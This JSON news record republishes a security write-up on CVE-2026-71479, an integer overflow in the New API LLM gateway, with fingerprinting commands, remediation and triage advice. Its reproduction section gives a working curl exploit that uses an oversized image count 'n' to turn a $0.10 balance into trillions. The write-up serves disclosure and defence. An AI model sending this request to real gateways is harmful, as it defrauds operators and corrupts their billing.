{"slug": "new-api-integer-overflow-one-request-turned-a-0-10-balance-into-16-9t", "title": "New API integer overflow: one request turned a $0.10 balance into $16.9T", "summary": "A critical integer overflow vulnerability, CVE-2026-71479, in the self-hosted OpenAI-compatible LLM gateway New API (QuantumNous/new-api) allowed a single image request to turn a $0.10 balance into $16,893,488,147,419.20, as reproduced by security researchers. The flaw, affecting versions up to v1.0.0-rc.17, was exploited in the wild on July 6, 2026, and fixed in v1.0.0-rc.18, which clamps quantities and uses saturating arithmetic. The vulnerability has a CVSS score of 9.1 and can corrupt billing ledgers, granting unlimited free model usage.", "body_md": "# Unlimited AI Credits from One Integer: New API's Quota Overflow (CVE-2026-71479) and How to Check Your Gateway\n\nNew API (QuantumNous/new-api) is a self-hosted, OpenAI-compatible LLM gateway — a billing and access-control layer that sits in front of upstream model providers and meters what each user spends. On July 6, 2026 an operator noticed accounts on their instance showing wildly inflated balances and *negative* consumption entries. The cause is [CVE-2026-71479](https://github.com/QuantumNous/new-api/security/advisories/GHSA-8r8v-xf7q-rcpr): user-controlled quantity fields — the image count n, video duration, token limits — enter the quota math with no upper bound, and a large enough value overflows New API's 64-bit integer arithmetic into a negative charge. A negative charge is a credit. We reproduced it against the real product: a single image request turned a **$0.10** balance into **$16,893,488,147,419.20**, and confirmed the fix in v1.0.0-rc.18 rejects the same request.\n\n## The Vulnerability\n\n[CVE-2026-71479](https://github.com/QuantumNous/new-api/security/advisories/GHSA-8r8v-xf7q-rcpr) is [CWE-190 (Integer Overflow or Wraparound)](https://cwe.mitre.org/data/definitions/190.html), compounded by [CWE-682 (Incorrect Calculation)](https://cwe.mitre.org/data/definitions/682.html). New API tracks each user's balance as an integer \"quota\" (500,000 units = $1 by default). When a request is priced, the per-unit quota is multiplied by a client-supplied quantity. In versions up to and including v1.0.0-rc.17, the image-generation handler reads the count straight from the request body with no ceiling:\n\n```\n// relay/image_handler.go  (New API <= v1.0.0-rc.17)\nimageN := uint(1)\nif request.N != nil {\n    imageN = *request.N          // no upper bound; *uint from JSON\n}\n...\ninfo.PriceData.AddOtherRatio(\"n\", float64(imageN))   // folded into billing\n```\n\nAt settlement the total charge is computed as roughly perImageQuota × n and stored in a signed 64-bit integer. Go's int is 64-bit; its ceiling is 2^63 − 1 ≈ 9.22 × 10^18. Push the product past that line and the value is reinterpreted as a *negative* number. The settlement code applies that number to the balance without checking its sign, and subtracting a negative quota *adds* credit. The critical detail is that the charge only overflows at *settlement*, after a small pre-charge check has already passed — so the attack looks like an ordinary, funded request right up until the balance inverts.\n\n- CVSS: 9.1 Critical (CVSS v3.1, AV:N/AC:L/PR:N/UI:N/S:U/\n**C:N/I:H/A:H**) — GitHub (CNA) via the project advisory. Note the vector: this is an*integrity and availability*flaw (billing corruption),**not** code execution and not data disclosure. - CWE: CWE-190 (Integer Overflow or Wraparound), CWE-682 (Incorrect Calculation)\n- AFFECTED: New API <= v1.0.0-rc.17 (image count, video/async duration, and output-token quantity paths all lack bounds)\n- FIXED: New API v1.0.0-rc.18 — clamps quantities (MaxImageN = 128, MaxTaskDurationSeconds = 3600) and routes quota math through saturating conversions in common/quota_math.go. v1.0.0-rc.19 added saturation logging.\n- PRECONDITION: an account whose balance covers\n*one*normally-priced request (to pass the pre-charge gate). Self-registration is enabled by default; where a deployment grants free starting balance, check-in bonuses, or referral credit, that account is free to create. - IMPACT: a single request mints an effectively unlimited balance — free model usage, and a corrupted billing ledger\n- EXPLOITED: Yes — reported in the wild on 2026-07-06; the maintainer shipped the emergency patch (rc.18) roughly two hours later. Not (yet) in CISA KEV.\n- ADVISORY:\n[GHSA-8r8v-xf7q-rcpr](https://github.com/QuantumNous/new-api/security/advisories/GHSA-8r8v-xf7q-rcpr)\n\nAM I EXPOSED?\n\n- AFFECTEDAny self-hosted New API instance on <= v1.0.0-rc.17 where an attacker can obtain an account with even a tiny positive balance — trivial wherever self-registration plus free starting/check-in/referral credit is enabled, which is a common configuration for public gateways.\n- NOT YOUInstances on v1.0.0-rc.18 or later, or where no untrusted user can ever hold a positive balance (closed registration, no free grants, and every funded account fully trusted). The gateway not being internet-reachable also removes remote attackers.\n- CHECKQuery the unauthenticated status endpoint for the exact version: curl -s http://TARGET:3000/api/status | grep -o '\"version\":\"[^\"]*\"' — anything at or below v1.0.0-rc.17 is vulnerable. Every response also carries an X-New-Api-Version header (curl -sI http://TARGET:3000/ | grep -i x-new-api-version).\n- FIXUpgrade to New API v1.0.0-rc.18 or later (pin the image tag; do not run :latest unpinned). Until then, disable self-registration and any free-balance grants so no untrusted account can pass the pre-charge gate, and audit balances and consumption logs for negative-charge entries.\n\n## Reproducing It Against the Real Product\n\nA billing-overflow claim is easy to assert and worth proving end to end. We ran New API's own image — calciumion/new-api:v1.0.0-rc.17, unmodified — in an isolated throwaway container on port 3000, with a stock dall-e-3 price entry (the image ships priced at $0.04 per image). To avoid needing a real provider key, we pointed a channel at a local mock that simply returns a valid 200 image response; New API bills from the client-supplied n, not from what the upstream actually returns, so the mock is sufficient. The advisory is the proof the bug is real; this reproduction makes the arithmetic concrete and confirms the fix.\n\nThe attacker is an ordinary user with a small balance — we funded the account with $0.10, enough to clear the pre-charge on one normal image. Then a single request, with an image count chosen to push the settlement product past the signed-64-bit ceiling:\n\n```\n# one authenticated image request, absurd n\ncurl -X POST http://TARGET:3000/v1/images/generations \\\n  -H \"Authorization: Bearer sk-<user-token>\" \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"model\":\"dall-e-3\",\"prompt\":\"a cat\",\"n\":500000000000000,\"size\":\"1024x1024\"}'\n```\n\nReal reproduction against New API v1.0.0-rc.17. One image request by a $0.10 account leaves the New API dashboard reporting a Current balance of $16,893,488,147,419.20 and a Consumption of −$16,893,488,147,419.10 — a single negative-charge request, from one dall-e-3 call.\n\nThe arithmetic is exact. The stock price is $0.04 per image, i.e. 0.04 × 500,000 = 20,000 quota units. Multiply by the requested count:\n\n```\nper-image quota   = 20,000\nrequested n       = 500,000,000,000,000        (5 x 10^14)\nproduct           = 20,000 x 5e14 = 1.0e19     (10,000,000,000,000,000,000)\n\nsigned int64 ceiling (2^63 - 1) = 9,223,372,036,854,775,807  (~9.22e18)\n1.0e19 crosses the ceiling  ->  reinterpreted as signed:\n   1.0e19 - 2^64 = -8,446,744,073,709,551,616   (a NEGATIVE charge)\n\nbalance after = 50,000 - (-8,446,744,073,709,551,616)\n              = 8,446,744,073,709,601,616 units  =  $16,893,488,147,419.20\n```\n\nNew API records the settlement as an ordinary consumption log — except the charge is negative. The row in the admin log, verbatim from the database:\n\n```\ntype    = Consume\nuser    = attacker\nmodel   = dall-e-3\nquota   = -8446744073709551616        # negative charge = credit\ncontent = \"size 1024x1024, quality standard, generation count 500000000000000\"\n```\n\nThis is exactly the signature the original reporter described: negative consumption entries and inflated balances. The sign is attacker-controllable — a different n drives the balance massively *negative* instead, corrupting the ledger the other way — but the useful case for an attacker is the credit, and it is one request away.\n\n## Why v1.0.0-rc.18 Closes It\n\nThe fix is defense in depth, and the first layer is the one that matters most: the quantity fields are now bounded before they ever reach the quota math. We replayed the identical request against calciumion/new-api:v1.0.0-rc.18 and it never gets to billing:\n\n```\n# same request, patched service (v1.0.0-rc.18)\n{\"error\":{\"message\":\"n must be an integer between 1 and 128\",\n          \"type\":\"new_api_error\",\"code\":\"invalid_request\"}}\n\n# balance unchanged; a legitimate n=2 still bills correctly ($0.10 -> $0.02)\n```\n\nBehind that validation, rc.18 also hardens the arithmetic itself. Bare int(float64(...)) quota casts were centralized into common/quota_math.go (QuotaFromFloat, QuotaRound), which clamp to int32 bounds and return 0 for NaN — so even a path that slips past the input bound saturates instead of wrapping. The video/async route got the same treatment via MaxTaskDurationSeconds = 3600. Upgrading is the fix; the input bound alone is what stops this specific request.\n\n## Investigation Workflow\n\nTwo questions matter for a fleet or a marketplace of self-hosted gateways: which hosts are running New API, and which of those are on a vulnerable build. Both are answerable from the network without authentication.\n\n### 1. Port Scan: Find New API Instances\n\nNew API serves its web UI and API on the same port — 3000 by default in the project's own Docker quick-start. It is frequently placed behind a reverse proxy on 80/443, so treat 3000 as the fingerprint for a directly-exposed instance and the HTTP fingerprint below as the confirmation regardless of port.\n\n### 2. HTTP Fingerprint: Confirm New API and Read the Version\n\nNew API is unusually easy to fingerprint *and* version remotely, with no login:\n\n- • Every HTTP response carries an X-New-Api-Version header (e.g. v1.0.0-rc.17).\n- • The unauthenticated GET /api/status returns JSON including \"version\" and \"system_name\":\"New API\".\n- • The landing page is <title>New API</title>.\n\nThat version string is the whole finding: it tells you directly whether an instance is at or below v1.0.0-rc.17. Unlike many products, no on-box step is needed to confirm the version here — it is published to anonymous callers.\n\n### 3. Cross-Reference Configuration\n\nVersion establishes vulnerability; exploitability also depends on whether an untrusted user can obtain a funded account. Confirm on the box whether self-registration and any free-balance grants (new-user gift, daily check-in, referral reward) are enabled — those turn \"vulnerable version\" into \"anyone can drain it.\" An exposed, unpatched instance with open registration and free credit is the urgent case.\n\n## Remediation\n\n- Upgrade to New API v1.0.0-rc.18 or later. This bounds the quantity fields and routes quota math through saturating conversions. Pin the image tag to a fixed release rather than running :latest unpinned.\n- If you cannot upgrade immediately, remove the precondition. Disable self-registration and any free-balance grants (new-user gift, check-in, referral) so no untrusted account can pass the pre-charge gate. This does not fix the bug — it removes the easy way to reach it.\n- Audit for exploitation. Review the consumption/usage logs for negative quota entries and any account whose balance is implausibly large (or implausibly negative). The v1.0.0-rc.19 saturation logging helps going forward, but the historical evidence is in the existing log and balance tables.\n- Reconcile downstream spend. An inflated balance is free model usage against your real upstream provider keys. Check upstream provider billing for the exposure window, and rotate keys and reset affected balances if abuse is found.\n\nTriage Notes\n\n- Remote recon proves: that a host runs New API and its exact version, from the X-New-Api-Version header and /api/status — so \"is this instance vulnerable\" is answerable without authentication.\n- It cannot prove: whether an untrusted user can obtain a funded account (registration and free-grant settings), or whether exploitation has already happened — both are on-box checks.\n- Evidence to request: the New API version; whether self-registration and free-balance grants are enabled; consumption/usage log rows with negative quota; user balances that are implausibly large or negative; upstream provider billing for the window.\n- Escalation threshold: New API at or below v1.0.0-rc.17 reachable by any user who can hold a positive balance. Open registration plus free starting credit makes it exploitable by anyone; a closed, fully-trusted user base makes it a lower-priority upgrade.\n- Finding statement: \"The host runs New API <= v1.0.0-rc.17, vulnerable to CVE-2026-71479: an unbounded image/duration/token quantity overflows 64-bit quota math to a negative charge, so a single request by a minimally-funded account mints an effectively unlimited balance (reported exploited in the wild). Upgrade to v1.0.0-rc.18+; disable self-registration and free-balance grants as an interim control; audit logs for negative-quota entries and reconcile upstream spend.\"\n\nAI Infrastructure Coverage\n\nTwo disclosures, one recurring failure: AI platforms execute tenant-supplied logic by design, then treat authentication, feature flags, or RBAC roles as the containment boundary.\n\n- •\n[Red Hat OpenShift AI](/blog/cve-2026-14450-openshift-ai-privilege-escalation)— A 20-CVE disclosure — trusted identity headers, RBAC aggregation, and operators that run tenant input, all turning a namespace tenant into cluster admin - •\n[Langflow RCE chain](/blog/cve-2026-9198-langflow-rce-chain)— AUTO_LOGIN auth bypass into validate/code exec() — unauthenticated RCE on a default AI-workflow builder, now CISA KEV-listed - • New API quota overflow — you are here\n\nThe network half of this investigation — finding New API instances and reading the exposed version, from your phone — runs in RECON. The registration/config and log audit are on-box tasks RECON does not replace. [Get RECON on the App Store.](https://apps.apple.com/app/id6770054830)\n\nFollow [@hellorecon](https://x.com/hellorecon) for new CVE investigations.\n\n## Sources\n\n- →\n[GitHub Security Advisory GHSA-8r8v-xf7q-rcpr (CVE-2026-71479)](https://github.com/QuantumNous/new-api/security/advisories/GHSA-8r8v-xf7q-rcpr) - →\n[NVD: CVE-2026-71479](https://nvd.nist.gov/vuln/detail/CVE-2026-71479) - →\n[QuantumNous/new-api — project repository and Docker quick-start](https://github.com/QuantumNous/new-api) - →\n[MITRE: CWE-190 Integer Overflow or Wraparound](https://cwe.mitre.org/data/definitions/190.html) - →\n[MITRE: CWE-682 Incorrect Calculation](https://cwe.mitre.org/data/definitions/682.html)\n\n[[email protected]](/cdn-cgi/l/email-protection#22515752524d5056624a474e4e4d5047414d4c0c414d4f)\n\n### Get the next investigation\n\nNew CVE teardowns — root cause from the source, a working proof-of-concept, and how to check your own estate — in your inbox when they publish. No spam, unsubscribe anytime.", "url": "https://wpnews.pro/news/new-api-integer-overflow-one-request-turned-a-0-10-balance-into-16-9t", "canonical_source": "https://hellorecon.com/blog/cve-2026-71479-new-api-quota-integer-overflow", "published_at": "2026-08-17 23:35:38+00:00", "updated_at": "2026-08-17 23:40:52.624658+00:00", "lang": "en", "topics": ["ai-infrastructure", "ai-safety", "ai-policy"], "entities": ["QuantumNous/new-api", "CVE-2026-71479", "GitHub", "CISA"], "alternates": {"html": "https://wpnews.pro/news/new-api-integer-overflow-one-request-turned-a-0-10-balance-into-16-9t", "markdown": "https://wpnews.pro/news/new-api-integer-overflow-one-request-turned-a-0-10-balance-into-16-9t.md", "text": "https://wpnews.pro/news/new-api-integer-overflow-one-request-turned-a-0-10-balance-into-16-9t.txt", "jsonld": "https://wpnews.pro/news/new-api-integer-overflow-one-request-turned-a-0-10-balance-into-16-9t.jsonld"}}